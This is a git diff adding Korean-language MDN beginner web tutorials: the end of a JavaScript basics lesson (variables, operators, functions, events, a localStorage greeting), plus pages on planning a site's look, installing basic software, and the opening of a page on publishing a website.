그 다음, myHeading 변수의 {{domxref("Node.textContent", "textContent")}} 프로퍼티의 값(본문 제목의 컨텐츠를 나타내는 것)을 "Hello world!"로 설정했습니다.

+ +
+

참고: 위에서 사용한 두 기능은 모두 문서를 조작(manipulate)할 때 사용하는 문서 객체 모델(Document Object Model;DOM) API의 일부입니다.

+
+ +

언어 기본 특강

+ +

이 모든 것이 작동하는 방식에 대해 더 잘 이해할 수 있도록 자바스크립트 언어의 핵심적인 특징을 몇 가지 설명드리겠습니다. 이런 특징은 모든 프로그래밍 언어에서 공통적으로 나타나는 것에 불과하므로 이런 원칙을 숙지한다면 어떤 것이라도 프로그램할 수 있게 될 것입니다!.

+ +
+

중요: 이 글에서는, 어떤 일이 발생하는지 확인 할 수 있게 자바스크립트 콘솔에 예제 코드를 입력합니다. 자바스크립트 콘솔에 대한 더 자세한 사항은, 브라우저 개발 도구 탐험하기를 보세요.

+
+ +

변수

+ +

{{Glossary("Variable", "Variables")}}는 여러분이 값을 저장할 수 있는 컨테이너입니다. 변수를 선언할 때 var 또는 let 키워드 뒤에 원하는 어떤 이름을 붙이면 됩니다:

+ +
let myVariable;
+ +
+

참고: 한 줄의 끝에 있는 세미콜론은 문(statement)의 끝을 나타냅니다; 한 줄에 있는 여러 문을 분리할 필요가 있을 때에만 반드시 필요합니다. 하지만, 어떤 사람은 각 문의 끝에 세미콜론을 넣는 것이 좋은 습관이라 믿습니다. 언제 세미콜론을 넣고 언제 넣으면 안되는지에 대한 다른 규칙이 있습니다 — 자세한 사항은 자바스크립트의 세미콜론 안내(Your Guide to Semicolons in JavaScript)를 참고하세요.

+
+ +
+

참고: 거의 모든 이름을 변수 이름으로 사용할 수 있지만, 몇 가지 제한이 있습니다 (변수 이름 규칙에 관한 글 을 보세요). 변수 이름에 대해 확신이 없다면, 변수명 체크하기(check your variable name)에서 적절한 변수명인지 확인해 볼 수 있습니다.

+
+ +
+

참고: 자바스크립트는 대소문자를 구분합니다 — myVariablemyvariable과는 다른 변수입니다. 만약 코드에 문제가 생겼다면, 대소문자를 확인해보세요!

+
+ +
+

참고: varlet 의 차이에 대한 자세한 사항은 The difference between var and let를 참고하세요.

+
+ +

변수를 선언한 후에, 값을 할당할 수 있습니다:

+ +
myVariable = 'Bob';
+ +

원한다면, 변수 선언과 값을 주는 작업을 한 줄로 처리할 수 있습니다:

+ +
let myVariable = 'Bob';
+ +

이름으로 변수를 호출하기만 하면 값을 추출할 수 있습니다.

+ +
myVariable;
+ +

변수에 어떤 값을 준 후, 나중에 변경할 수도 있습니다.

+ +
let myVariable = 'Bob';
+myVariable = 'Steve';
+ +

변수는 여러 자료형을 가질 수 있다는 점을 기억하세요:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
변수설명예시
{{Glossary("String")}}문자열로도 알려진 일련의 텍스트. 그 값이 문자열이라는 것을 나타내기 위해서는 인용부호로 둘러싸야 합니다.let myVariable = 'Bob';
{{Glossary("Number")}}숫자. 숫자는 인용부호를 사용하지 않습니다.let myVariable = 10;
{{Glossary("Boolean")}}참/거짓 값. true와 false라는 단어는 JS의 특별한 키워드이며, 인용부호가 필요 없습니다.let myVariable = true;
{{Glossary("Array")}}여러 값을 하나의 단일 참조(single reference)에 저장할 수 있도록 해주는 구조let myVariable = [1,'Bob','Steve',10];
+ 해당 배열의 각 멤버는 다음과 같이 참조할 수 있습니다: myVariable[0], myVariable[1], etc.
{{Glossary("Object")}}기본적으로, 무엇이든. 자바스크립트의 모든 것은 객체(object)이며 어떤 변수에 저장될 수 있습니다. 학습하는 동안 이 점을 기억하세요.let myVariable = document.querySelector('h1');
+ 위의 모든 예시도 마찬가지입니다.
+ +

그러면 변수가 왜 필요할까요? 글쎄요, 변수는 프로그래밍에서 흥미로운 어떤 일을 하기 위해 필요합니다. 만약 값이 바뀔 수 없다면, 개인별 맞춤 인사 메시지나 이미지 갤러리에 표시되는 이미지를 바꾼다든지 하는 동적인 일을 할 수 없습니다.

+ +

주석

+ +

CSS에서 했던 것처럼 자바스크립트 코드 안에 주석을 넣을 수 있습니다:

+ +
/*
+사이에 있는 모든 것은 주석입니다.
+*/
+ +

줄바꿈을 할 필요가 없는 주석이라면, 두 개의 슬래시 뒤에 주석을 놓는 것이 더 쉽습니다:

+ +
// 이것은 주석입니다
+
+ +

연산자

+ +

{{Glossary("operator")}}는 두 값(또는 변수)로부터 결과를 만들어내는 수학 기호입니다. 다음 테이블에서 가장 간단한 연산자 몇 개와 자바스크립트 콘솔(console)에서 실행해 볼 수 있는 예제 몇 개를 같이 볼 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
연산자설명기호예시
더하기 +

두 수를 합치거나, 또는 두 문자열을 하나로
+ 붙일 때 사용합니다.

+
+6 + 9;
+ "Hello " + "world!";
+

빼기,
+ 곱하기,
+ 나누기                   

+
예상하는 바와 같이 기초수학에서 하는 것과
+ 동일하게 동작합니다.
-, *, /9 - 3;
+ 8 * 2; // JS 에서의 곱하기는 별표입니다
+ 9 / 3;
할당이것에 대해서는 이미 보았습니다: 값을 어떤 변수에 할당합니다.=let myVariable = 'Bob';
동등두 값이 서로 같은지 테스트하여  true/false
+ (불리언) 결과를 반환합니다.
===let myVariable = 3;
+ myVariable === 4;
부정,
+ 다름
연산자 뒤쪽의 값에 대해 논리적으로 반대인 값을 반환합니다;truefalse로 바꾸는 등.
+ 동등 연산자와 함께 사용할 경우 부정 연산자는 두 값이 같지 않은지 여부를 테스트합니다.
!, !== +

기본 표현은 true이지만 비교는 false를 반환합니다 왜냐하면 우리가 이것을 부정했기 때문입니다:

+ +

let myVariable = 3;
+ !(myVariable === 3);

+ +

여기서 테스트하고 있는 것은 "myVariable이 3 과 같지 않은가"입니다. 이것은 false를 반환하는데, myVariable이 3 과 같기 때문입니다.

+ +

let myVariable = 3;
+ myVariable !== 3;

+
+ +

살펴볼 연산자가 더 많이 있지만, 지금은 이것으로 충분합니다. 연산자에 대한 완전한 리스트는 표현식과 연산자에서 확인해보세요.

+ +
+

참고: 계산을 수행할 때 자료형이 섞이게 되면 이상한 결과를 불러올 수 있으므로, 변수를 올바르게 참조해 예상하는 결과를 얻을 수 있게 주의해야 합니다. 예를 들어 "35" + "25"를 콘솔에 입력해 보세요. 왜 예상한 결과를 얻을 수 없을까요? 인용부호가 숫자를 문자열로 변경하였고, 숫자를 더하는 대신에 문자열을 붙인 결과를 얻습니다. 35 + 25를 입력한다면, 올바른 결과를 얻을 것입니다.

+
+ +

조건문

+ +

조건문은 어떤 표현식(expression)이 참인지 아닌지를 테스트하고 그 결과에 따라 선택적으로 코드를 실행할 수 있도록 하는 코드 구조입니다. 가장 일반적인 조건문의 형태는 if ... else 문입니다. 예를 들어:

+ +
let iceCream = 'chocolate';
+if (iceCream === 'chocolate') {
+  alert('Yay, I love chocolate ice cream!');
+} else {
+  alert('Awwww, but chocolate is my favorite...');
+}
+ +

if ( ... ) 안의 표현식은 테스트입니다 — 여기서는 (위에서 설명한 바와 같이)일치 연산자(identity operator)를 사용하여 변수 iceCream과 문자열 chocolate이 같은지를 비교합니다. 이 비교에서 true가 반환되면 코드의 첫 번째 블록이 실행됩니다. 이 비교가 참(true)가 아닌 경우에는 첫 번째 블록을 건너뛰고 else문 뒤에 있는 두 번째 코드 블록이 대신 실행됩니다.

+ +

함수

+ +

{{Glossary("Function", "Functions")}}는 재사용하기를 원하는 기능을 담는 방법입니다. 그 절차(재사용 기능)가 필요할 때 매 번 전체 코드를 다시 작성하는 대신 함수의 이름으로 그 함수를 호출할 수 있습니다. 위에서 이미 몇 가지 함수의 사용법을 봤는데, 예를 들면:

+ +
    +
  1. +
    let myVariable = document.querySelector('h1');
    +
  2. +
  3. +
    alert('hello!');
    +
  4. +
+ +

이 함수들, document.querySelector와 alert는 언제든지 사용할 수 있게 브라우저에 내장되어 있습니다.

+ +

변수 이름처럼 보이지만 그 뒤에 괄호 — () — 가 있다면 그것은 함수일 것입니다. 함수는 보통 인수({{Glossary("Argument", "arguments")}}) — 함수가 작동하는데 필요한 일련의 데이터 — 를 가집니다. 인수는 괄호 안으로 들어가고, 하나 이상의 인수가 있다면 콤마로 구분됩니다.

+ +

예를 들면, alert() 함수는 브라우저 창에서 팝업창을 만들지만, 그 함수가 그 팝업창에 표시할 문자열을 인자로 주어야 합니다.

+ +

좋은 소식은 여러분 자신만의 함수를 정의할 수 있다는 것입니다 — 다음 예제에서 두 수를 인수로 가지고 그것을 곱하는 간단한 함수를 작성합니다:

+ +
function multiply(num1,num2) {
+  let result = num1 * num2;
+  return result;
+}
+ +

콘솔에서 위 함수를 실행해보고 여러 인수로 테스트해보세요. 가령:

+ +
multiply(4,7);
+multiply(20,20);
+multiply(0.5,3);
+ +
+

참고: return 문은 브라우저에게 함수로부터 나오는 result 변수를 반환하게 함으로써 그 변수를 사용할 수 있게 합니다. 이것은 필수적인 것으로 함수 안에서 정의된 변수는 오직 그 함수 내부에서만 사용 가능하기 때문입니다. 이것을 변수 {{Glossary("Scope", "scoping")}}이라고 합니다. (변수 영역에 대한 더 많은 것 을 여기서 읽어보세요.)

+
+ +

이벤트

+ +

웹사이트의 실질적인 상호작용에는 이벤트가 필요합니다. 이벤트는 브라우저에서 발생하는 일을 듣고 그에 대한 반응으로 코드를 실행하는 코드 구조입니다. 가장 확실한 예는 마우스로 무언가를 클릭하면 브라우저가 발생시키는 클릭 이벤트입니다. 이를 시연하려면 콘솔에 다음 코드를 입력한 후 현재 웹페이지를 클릭해보시기 바랍니다:

+ +
document.querySelector('html').onclick = function() {
+    alert('Ouch! Stop poking me!');
+}
+ +

요소에 이벤트를 붙이는 방법은 많습니다. 여기서 HTML 요소를 선택하고 그 요소의 onclick 핸들러 프로퍼티에 클릭 이벤트가 실행할 코드를 갖고 있는 익명(anonymous) 함수를 할당합니다.

+ +

유의하세요. 다음은

+ +
document.querySelector('html').onclick = function() {};
+ +

다음과 같습니다.

+ +
let myHTML = document.querySelector('html');
+myHTML.onclick = function() {};
+ +

단지 짧을 뿐입니다.

+ +

예시 웹사이트 확장하기

+ +

지금까지 자바스크립트의 기본 중 몇 가지를 살펴보았으니 우리가 작성한 예제 사이트에 적용 가능한 몇 가지 멋진 기능을 추가해 봅시다.

+ +

이미지 변경자 추가하기

+ +

이 섹션에서는 DOM API 특징을 몇 가지 더 사용해 이미지를 하나 더 추가하고, 이미지가 클릭될 때 자바스크립트를 이용해 두 이미지 사이에 전환이 이루어지도록 해보겠습니다.

+ +
    +
  1. 맨 먼저, 사이트에 나타내길 원하는 다른 이미지를 찾으세요. 처음 이미지와 같은 사이즈 또는 가능하면 비슷한 크기여야 합니다.
  2. +
  3. images 폴더에 이미지를 저장하세요.
  4. +
  5. 이미지 이름을 'firefox2.png'(인용부호 없이)로 바꾸세요.
  6. +
  7. main.js 파일로 가서, 다음 자바스크립트를 입력하세요 (만약 "Hello world" 자바스크립트가 있다면, 지우세요): +
    let myImage = document.querySelector('img');
    +
    +myImage.onclick = function() {
    +    let mySrc = myImage.getAttribute('src');
    +    if(mySrc === 'images/firefox-icon.png') {
    +      myImage.setAttribute ('src','images/firefox2.png');
    +    } else {
    +      myImage.setAttribute ('src','images/firefox-icon.png');
    +    }
    +}
    +
  8. +
  9. 모든 파일을 저장하고 브라우저에서 index.html을 불러오세요. 이제 여러분이 이미지를 클릭할 때 이미지가 다른 이미지로 바뀔 것입니다!
  10. +
+ +

myImage 변수에 {{htmlelement("image")}} 요소에 대한 참조를 저장합니다. 다음으로 이 변수의 onclick 이벤트 핸들러 프로퍼티에 이름이 없는 함수("익명" 함수)를 할당합니다. 이제, 매번 이미지 요소가 클릭될 때:

+ +
    +
  1. 이미지의 src  속성 값을 얻습니다.
  2. +
  3. src 값이 원래 이미지 경로와 같은지 확인하기 위해 조건문을 사용합니다: +
      +
    1. 만약 같다면, src  값을 두 번째 이미지 경로로 변경하여 다른 이미지가 {{htmlelement("image")}} 요소 안에 로드되도록 합니다.
    2. +
    3. 같지 않다면(이미 변경되었다는 것을 의미), 원래 상태로 되돌리기 위해 src 값을 원래 이미지 경로 바꿔 놓습니다.
    4. +
    +
  4. +
+ +

개인화된 환영 메시지 추가하기

+ +

다음으로는 다른 코드를 약간 추가할 것인데, 이 코드는 사용자가 처음으로 사이트에 방문했을 때 페이지의 제목을 개인화된 환영 메시지로 바꾸는 것입니다. 이 환영 메시지는 해당 사용자가 사이트를 떠났다가 돌아오더라도 계속 유지될 것입니다 — 이 메시지를 웹 저장소 API(Web Storage API)를 이용해 저장할 것입니다. 사용자를 변경할 수 있는 옵션도 추가하여 언제든지 필요할 때 환영 메시지를 나타나도록 할 것입니다.

+ +
    +
  1. index.html 내의 {{htmlelement("script")}} 요소 바로 앞에 다음 줄을 추가하세요: + +
    <button>Change user</button>
    +
  2. +
  3. main.js 파일의 맨 마지막에 다음 두 줄을 똑같이 추가하세요 — 이 코드는 새로 추가된 버튼과 본문 제목에 대한 참조를 가져와 변수에 저장하는 것입니다: +
    let myButton = document.querySelector('button');
    +let myHeading = document.querySelector('h1');
    +
  4. +
  5. 다음으로 개인화된 인삿말을 설정하기 위해 다음 함수를 추가합니다 — 아직 아무 동작도 하지않지만 좀 이따가 고칠겁니다: +
    function setUserName() {
    +  let myName = prompt('Please enter your name.');
    +  localStorage.setItem('name', myName);
    +  myHeading.textContent = 'Mozilla is cool, ' + myName;
    +}
    + 이 함수는 alert()와 약간 닮은 대화상자를 불러오는 prompt() 함수를 포함하고 있습니다. prompt()는 사용자에게 어떤 데이터를 입력하길 요청하고, 사용자가 OK 를 누른 후에 그 값을 변수에 저장합니다. 이 예시에서는, 사용자에게 그들의 이름을 입력하길 요청하고 있습니다. 다음으로, 브라우저에 데이터를 저장하고 나중에 불러올 수 있도록 해주는 localStorage라는 API 를 부릅니다. 우리는 'name' 라는 데이터 항목을 생성하고 저장하기 위해 localStorage 의 setItem()함수를 사용합니다. 그리고 사용자가 입력한 이름을 포함하는 그 값을 myName  변수에 저장합니다. 마지막으로, 헤딩의 textContent를 유저의 이름을 포함한 스트링으로 설정합니다.
  6. +
  7. 다음으로, 이 if ... else 문을 추가합니다 — 처음 불려질 때 앱이 셋업되도록 이 초기화 코드를 불러옵니다: +
    if(!localStorage.getItem('name')) {
    +  setUserName();
    +} else {
    +  let storedName = localStorage.getItem('name');
    +  myHeading.textContent = 'Mozilla is cool, ' + storedName;
    +}
    + 이 구문은 먼저 name 데이터 아이템이 존재하는지 확인하기 위해 부정 연산자 (논리적 NOT, !로 표현되는) 를 사용합니다. 존재하지 않는다면 값을 생성하기 위해 setUserName() 함수를 실행합니다. 존재한다면 (예로, 이전 방문을 통해 사용자가 세팅되었음), 우리는 getItem() 을 사용해 저장된 이름 값을 얻고, 헤딩의 textContent  을 setUserName() 안에서 작업한 것과 같은 사용자의 이름을 포함한 문자열로 세팅합니다.
  8. +
  9. 마지막으로, 아래의 onclick 이벤트 핸들러를 버튼에 추가해서, 클릭될 때 setUserName() 함수가 실행되도록 합니다. 이것은 버튼을 누름으로 인해 유저가 원하는 새 이름을 설정할 수 있도록 해줍니다. +
    myButton.onclick = function() {
    +  setUserName();
    +}
    +
    +
  10. +
+ +

이제 여러분이 사이트에 처음으로 방문했을 때, 개인화된 메시지를 제공하기 위해 여러분의 이름을 물을 것입니다. 그리고 언제든 버튼을 누름으로 여러분이 원하는 이름으로 변경할 수 있습니다. 추가 선물로써, 이름은 localStorage 에 저장되기 때문에, 사이트가 닫힌 이후에도 이름이 유지됩니다. 그래서 개인화된 메시지는 여러분이 사이트를 다시 열었을 때 그대로 남아있을 것입니다!

+ +

사용자 이름이 null?

+ +

예제를 실행 시키고 바로 나타나는 다이얼로그 상자에 당신의 이름을 입력하고Cancel 버튼을 눌러보세요. "Mozilla is cool, null"라는 제목을 보게될 것입니다. 이것은 사용자가 입력을 취소했을 때 값이, 원래 Javascript가 값이 없음을 표현하는 특별한 값인 null로 설정되기 때문입니다.

+ +

또한, 어떠한 이름도 기입하지 않고 OK를 눌러보세요. — 꽤 분명한 이유로 "Mozilla is cool,"라는 제목을 보게될 것입니다.

+ +

이러한 문제들을 피하고 싶다면, setUserName() 함수를 수정함으로써 사용자가 null 또는 공백 이름을 입력하지 않았는지 체크해야 합니다. 이와 같이:

+ +
function setUserName() {
+  let myName = prompt('Please enter your name.');
+  if(!myName || myName === null) {
+    setUserName();
+  } else {
+    localStorage.setItem('name', myName);
+    myHeading.innerHTML = 'Mozilla is cool, ' + myName;
+  }
+}
+ +

해석하자면 — myName에 할당된 값이 없거나 null일 때, setUserName()함수를 처음부터 다시 실행합니다. 값이 있으면(위의 if 조건이 not true일 때) localStorage에 값을 저장하고 헤딩의 텍스트에 값을 설정합니다.

+ +

마무리

+ +

이 글의 모든 설명을 따라오셨다면, 이와 같이 보이는 페이지가 되실 겁니다. (여기서 확인하실 수도 있습니다):

+ +

+ +

혹시 막히셨다면, 여러분의 코드와 Github에 있는 우리의 예제 코드와 항상 비교해보세요.

+ +

여기서, 우리는 자바스크립트의 겉을 살짝 맛봤습니다. 즐겁게 배우셨고, 더 깊게 학습하고 싶으시다면, JavaScript 안내서 페이지로 가보세요.

+ +

{{PreviousNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website")}}

diff --git a/files/ko/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/ko/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html new file mode 100644 index 0000000000..a311b1912f --- /dev/null +++ b/files/ko/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html @@ -0,0 +1,95 @@ +--- +title: 웹사이트의 외관은 어떻게 할까요? +slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like +tags: + - Beginner + - Learn + - 'l10n:priority' +translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}
+ +
+

웹사이트의 외관은 어떻게 할까요? 에서는 "나의 웹사이트가 무슨 정보를 제공할 것인지?" "무슨 글꼴과 색상을 사용할 것인지?" "나의 웹사이트가 무엇을 하는지?" 를 포함해, 코드를 작성하기 전에 여러분이 해야할 계획 세우기와 디자인에 대해 이야기 할 것입니다.

+
+ +

중요한것 먼저 하기: 계획 세우기

+ +

무언가를 하기 전에, 여러분은 어떤 아이디어가 필요합니다. 웹사이트가 실제로 무엇을 해야하는지? 웹사이트가 기본적으로 무엇을 할 수 있는지, 하지만 여러분의 첫 시도를 위해선 이것을 간단히 할 필요가 있습니다. 우리는 제목과 사진, 그리고 몇 개의 문단을 포함한 간단한 웹페이지를 제작하는 것부터 시작할 것입니다.

+ +

시작하기 위해, 여러분은 몇 가지 질문에 답해야 합니다.

+ +
    +
  1. 여러분의 웹사이트는 무엇에 관한 것인가요? 강아지나 뉴욕, 또는 팩맨 좋아하세요?
  2. +
  3. 주제에 대해 어떤 정보를 나타낼 것인가요? 여러분의 웹페이지에 나타내기 원하는 제목과 몇개의 문단들, 그리고 그림에 대한 생각을 작성하세요.
  4. +
  5. 웹사이트의 외관은 어떻게 할까요, in simple high-level terms. 배경색은 무엇으로 할 것인지?어떤 글꼴(폰트)이 적합한지: 딱딱하게, 만화스럽게, 굵고 크게, 얇게?
  6. +
+ +
+

참고: 복잡한 프로젝트들은 색상, 글꼴, 페이지의 항목간 공간, 적절한 문체 등 세부적인 가이드라인을 필요로 합니다. 이것은 디자인 가이드 또는 브랜드 북이라고 불리기도 합니다. 파이어폭스 OS 가이드라인에서 그 예시를 볼 수 있습니다..

+
+ +

디자인을 스케치하기

+ +

다음으로, 펜과 종이를 가져와 여러분의 사이트가 어떻게 나타날 것인지 대략적으로 스케치하세요. 여러분의 첫 번째 간단한 웹페이지를 위해선, 과도한 스케치는 필요 없지만, 지금 습관으로 만드는게 좋습니다. 정말 도움이 됩니다--반 고흐가 될 필요는 없습니다!

+ +

+ +
+

노트: 실제로도, 복잡한 웹사이트들에서, 디자인팀은 보통 종이에 대략적인 스케치를 하는 것으로 일을 시작합니다. 그리고 이후에 시각적인 편집기나 웹 기술을 사용해 디지털 모형화 합니다.

+ +

웹 팀들은 그래픽 디자이너와 사용자 경험 (UX) 디자이너 모두와 일합니다. 그래픽 디자이너들은, 분명히, 웹사이트의 시각적인 것들을 합칩니다. UX 디자이너는 사용자들이 웹사이트를 어떻게 경험하고 반응하는지에 대한 무언가 더 추상적인 것을 합니다.

+
+ +

자원 선택하기

+ +

여기에서, 여러분의 웹페이지에 최종적으로 나타나게될 내용을 합치는 것을 시작하기에 좋습니다.

+ +

문자

+ +

여러분은 제목이나 문단들을 일찍 작성해야 합니다. 항상 신경쓰는것이 좋습니다.

+ +

주요 색상

+ +

색상을 선택하기 위해, the Color Picker로 가서 여러분이 원하는 색을 찾아보세요. 한 색을 선택하면, 여러분은 #660066같은 여섯 문자의 이상한 코드를 보게 될 것입니다. 이것은 hex(adecimal) 코드로 불리고, 여러분의 색을 나타냅니다. 안전한 어느 곳에 복사해두세요.

+ +

+ +

그림들

+ +

그림을 선택하기 위해, Google Images에 가서 적합한 것을 찾아보세요.

+ +
    +
  1. 원하는 그림을 찾으면, 이미지를 클릭하세요.
  2. +
  3. 이미지 보기(View image)버튼을 누르세요.
  4. +
  5. 다음 페이지에서, 이미지를 우클릭하고 (맥에서는 Ctrl + click), 다른 이름으로 이미지 저장(Save Image As...)를 누르고, 이미지를 저장할 안전한 공간을 선택하세요. 다른 방법으로는, 나중에 사용하기 위해 여러분의 웹 브라우저의 주소에서 이미지의 웹 주소를 복사하는 것이 있습니다.
  6. +
+ +

+ +

+ +
+

노트: Google Images를 포함한, 웹에 있는 대부분의 그림들은 저작권이 있습니다. 저작권 침해의 가능성을 줄이기 위해선, Google's license filter를 사용하는 방법이 있습니다. 1) 검색 도구(Search tools)를 클릭하고, 2) 사용 권한(Usage rights)를 선택하면 됩니다:

+ +

+
+ +

글꼴

+ +

글꼴을 선택하기 위해:

+ +
    +
  1. Google Fonts에 가서 원하는 것을 찾을 때까지 스크롤을 내리세요. 결과에 대한 필터를 위해선 왼쪽 메뉴를 사용하면 됩니다.
  2. +
  3. 원하는 폰트의 옆에 있는 Add to collection 버튼을 클릭하세요.
  4. +
  5. 페이지의 아래에 있는 Use 버튼을 클릭하세요.
  6. +
  7. 다음 페이지에서, 3 과 4 구역으로 스크롤을 내리고, 구글에서 제공한 코드를 여러분의 텍스트 편집기에 복사하고 나중을 위해 저장하세요.
  8. +
+ +

+ +

+ +

{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}

diff --git "a/files/ko/learn/getting_started_with_the_web/\352\270\260\353\263\270_\354\206\214\355\224\204\355\212\270\354\233\250\354\226\264_\354\204\244\354\271\230\355\225\230\352\270\260/index.html" "b/files/ko/learn/getting_started_with_the_web/\352\270\260\353\263\270_\354\206\214\355\224\204\355\212\270\354\233\250\354\226\264_\354\204\244\354\271\230\355\225\230\352\270\260/index.html" new file mode 100644 index 0000000000..58ec16a8d9 --- /dev/null +++ "b/files/ko/learn/getting_started_with_the_web/\352\270\260\353\263\270_\354\206\214\355\224\204\355\212\270\354\233\250\354\226\264_\354\204\244\354\271\230\355\225\230\352\270\260/index.html" @@ -0,0 +1,75 @@ +--- +title: 기본 소프트웨어 설치하기 +slug: Learn/Getting_started_with_the_web/기본_소프트웨어_설치하기 +tags: + - Beginner + - Browser + - Learn + - Setup + - Tools + - WebMechanics + - 'l10n:priority' +translation_of: Learn/Getting_started_with_the_web/Installing_basic_software +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}
+ +
+

기본 소프트웨어 설치하기에서는 간단한 웹 개발을 하기 위해 어떤 도구가 필요하고, 어떻게 설치할 수 있는지 보여드립니다.

+
+ +

전문가들이 사용하는 도구는 뭔가요?

+ + + +

지금 당장 필요한 도구는 뭔가요?

+ +

전문가가 사용하는 리스트가 두렵게 다가올지도 모르지만, 다행히도 여러분은 저런 대부분의 것들을 모르더라도 웹 개발을 시작하실 수 있습니다. 이 글을 통해 여러분이 최소한의 도구(텍스트 편집기와 최신 웹 브라우저 같은)를 마련할 수 있도록 할 것입니다.

+ +

텍스트 편집기 설치하기

+ +

지금도 기본적인 텍스트 편집기는 아마 갖고 계실겁니다. Windows는 기본으로 메모장을, macOS는 TextEdit을 포함하고 있습니다. Linux는 배포판마다 다르지만, Ubuntu는 gedit을 가지고 있습니다.

+ +

웹 개발을 위해서라면 메모장이나 TextEdit보다는 좋은걸 써야 할겁니다. Brackets를 추천드립니다. 무려 무료인데다가(쫭쫭) 실시간 미리보기와 코드 힌트도 제공하기 때문이에요!

+ +

최신 웹 브라우저 설치하기

+ +

이제, 코드를 테스트할 데스크탑 웹 브라우저를 몇 가지 설치할겁니다. 다음 목록에서 여러분의 운영체제를 고른 후 원하시는 브라우저의 링크로 들어가 설치하세요.

+ + + +

다음으로 진행하기 전에, 테스트를 위해 최소 두 개 이상의 브라우저를 설치해야 합니다.

+ +

로컬 웹 서버 설치하기

+ +

어떤 예제는 제대로 작동하려면 웹 서버가 필요합니다. 로컬 테스트 서버 설치하기에서 설치하는 방법을 알아보세요!

+ +

{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}

+ +

이번 과정에서는

+ + diff --git "a/files/ko/learn/getting_started_with_the_web/\354\233\271\354\202\254\354\235\264\355\212\270_\354\266\234\355\214\220\355\225\230\352\270\260/index.html" "b/files/ko/learn/getting_started_with_the_web/\354\233\271\354\202\254\354\235\264\355\212\270_\354\266\234\355\214\220\355\225\230\352\270\260/index.html" new file mode 100644 index 0000000000..df2016e530 --- /dev/null +++ "b/files/ko/learn/getting_started_with_the_web/\354\233\271\354\202\254\354\235\264\355\212\270_\354\266\234\355\214\220\355\225\230\352\270\260/index.html" @@ -0,0 +1,176 @@ +--- +title: 웹사이트 출판하기 +slug: Learn/Getting_started_with_the_web/웹사이트_출판하기 +translation_of: Learn/Getting_started_with_the_web/Publishing_your_website +--- +

{{LearnSidebar}}

+ +

{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}

+ +
+

일단 여러분의 웹사이트를 만들기 위한 코드 작성과 파일 구성을 끝내셨다면, 이 모든 것을 온라인에 올려 사람들이 찾을 수 있게 할 필요가 있습니다. 이 글은 어떻게 최소한의 노력으로 간단한 예시 코드를 온라인에서 얻을 수 있는지 보여줍니다.

+
+ +

옵션들은 뭐가 있나요?

+ +

웹사이트를 출판하는 것은 간단한 것이 아닙니다, 주된 이유는 이것에 아주 많은 다른 방법이 있다는 것입니다. 이 글에서는 모든 가능한 방법을 문서화 하는 것이 목적이 아닙니다. 대신에, 초심자의 관점에서 세가지 큰 전략에 대한 장단점에 대해 이야기 할 것입니다, 그리고나서 현재로써 적합할 하나의 방법을 보여드릴 것입니다.

+ +

호스팅과 도메인 이름 얻기

+ +

만약 여러분이 출판된 웹사이트에 대한 모든 컨트롤를 원한다면, 이것들을 구매해야 할 것입니다:

+ + + +

많은 전문적인 웹사이트들은 이 방법으로 온라인에 진출합니다.

+ +

게다가, 여러분은 서버로 웹사이트 파일들을 실제로 전송하기 위한 파일 전송 프로토콜 (FTP) 프로그램 (자세한 내용은 얼마나 드나요: 소프트웨어 에서 확인하세요) 이 필요할 것입니다. FTP 프로그램은 아주 다양합니다, 하지만 일반적으로 호스팅 회사에 의해 제공된 정보 (예로 사용자 이름, 비밀번호, 호스트 이름) 를 사용해 여러분의 웹서버에 로그인을 해야 합니다. 그러면 프로그램은 여러분의 로컬 파일들과 웹 서버의 파일을 두 창에서 보여주므로, 그것들을 외부로 전송하거나 다시 돌려 놓을 수 있습니다:

+ +

+ +

호스팅과 도메인을 찾는 팁

+ + + +

GitHub 또는 Dropbox 같은 온라인 도구 사용하기

+ +

어떤 도구들은 여러분이 여러분의 웹사이트를 온라인에 출판할 수 있게 해줍니다:

+ + + +

대부분의 호스팅과 다르게, 많은 도구들은 일반적으로 무료이지만, 여러분은 제한된 기능들만 사용할 수 있습니다.

+ +

Thimble 같은 웹-기반 IDE 사용하기

+ +

HTML, CSS 그리고 JavaScript 를 입력할 수 있게 하고 웹사이트로 만들어 질 때 코드의 결과를 보여주는 웹사이트 개발 환경을 대행하는 웹 앱은 많습니다 — 모든것이 한 브라우저 탭 안에 있습니다! 일반적으로 이러한 도구들을 이야기하기는 매우 쉽고, 배우기에 최고이고, 무료이고 (기본적 기능에대해), 그들은 여러분의 특정 웹 주소에 있는 만들어진 페이지를 관리합니다. 하지만, 그 기본적인 기능들은 매우 한정적이고, 그 앱들은 보통 자원들 (이미지 같은) 을 위한 관리 공간을 제공하지 않습니다.

+ +

여기 몇 개의 예시들을 실행해보시고, 어떤것이 제일 좋은지 확인해보세요:

+ + + +

+ +

GitHub 를 통한 출판

+ +

이제 어떻게 GitHub 페이지를 통해 여러분의 사이트를 출판할 수 있는지 알아보도록 합시다. 이게 여러분의 사이트를 출판하는데 유일한 방법이거나 최고의 방법이라고 이야기 하지는 않을 것입니다, 하지만 이것은 무료이고, 꽤 간단하고, 앞으로 유용할 여러분이 알게 될 몇 가지 새로운 기술도 다룰 것입니다.

+ +

기본 설치

+ +
    +
